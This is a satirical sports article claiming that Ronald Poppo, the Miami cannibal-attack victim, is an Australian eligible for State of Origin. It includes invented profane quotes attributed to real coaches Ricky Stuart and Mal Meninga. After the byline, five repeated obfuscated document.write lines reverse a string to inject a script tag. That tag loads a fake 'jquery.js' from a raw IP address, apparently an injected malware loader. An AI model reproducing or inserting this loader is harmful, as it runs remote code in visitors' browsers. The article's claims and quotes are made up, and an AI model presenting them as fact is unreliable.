A US man who had his face mauled in a cannibal attack may play an unlikely role in the 2013 State of Origin series, according to reports. Ronald Poppo narrowly escaped the heinous attack, which occurred in Miami last Saturday. Rabid 31-year-old Rudy Eugene was eventually shot by police after he refused to stop chewing the 65-year-old victim's face; it is not known yet what prompted the gruesome attack, although some perceptive witnesses suggested drug psychosis may have played a part. The Public Apology can confirm that Poppo was in fact born in the NSW regional town of Kempsey before moving to the US some 30 years ago on an expat package with the First Bank of Miami. After losing his job during the recent economic downturn, the Kempsey-born victim is now a homeless vagrant well known to Miami police. Given his Australian roots, Poppo is eligible to play State of Origin. And NSW coach Ricky Stuart has already identified the aging miscreant as someone who will provide "a bit of mongrel" for the Blues, as they look to quell Queensland's Origin dominance. "Origin is about shedding blood - shitloads of it - and this bloke has shown that he's willing to do that," Stuart said. "It's not necessarily about having a shred of talent - shit, we kept picking Michael Ennis for years on the basis that he's just a massively annoying cunt who loves fighting - it's about your ability to cop a physical battering over 80 minutes and be standing at the end of it." But should Stuart be concerned that Poppo - while clearly resilient - is nonetheless a 65-year-old homeless guy with no match fitness or background in rugby league? "Fuck no. When you look at the longevity of some of the Queensland players in recent years, like Petero Civoniceva and Steven Price, I think [NSW selectors] need to show a bit more faith in our older blokes," he said. But while Stuart has flagged his intention to play the Australian expat in the 2013 series, Queensland coach Mal Meninga has also expressed an interest in the elderly man, who remains in a serious condition in a Miami hospital. "He's from Kempsey, is he? So is Greg Inglis. We'll coax him over to our side, don't you worry," he smirked. By staff reporters document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join(""))
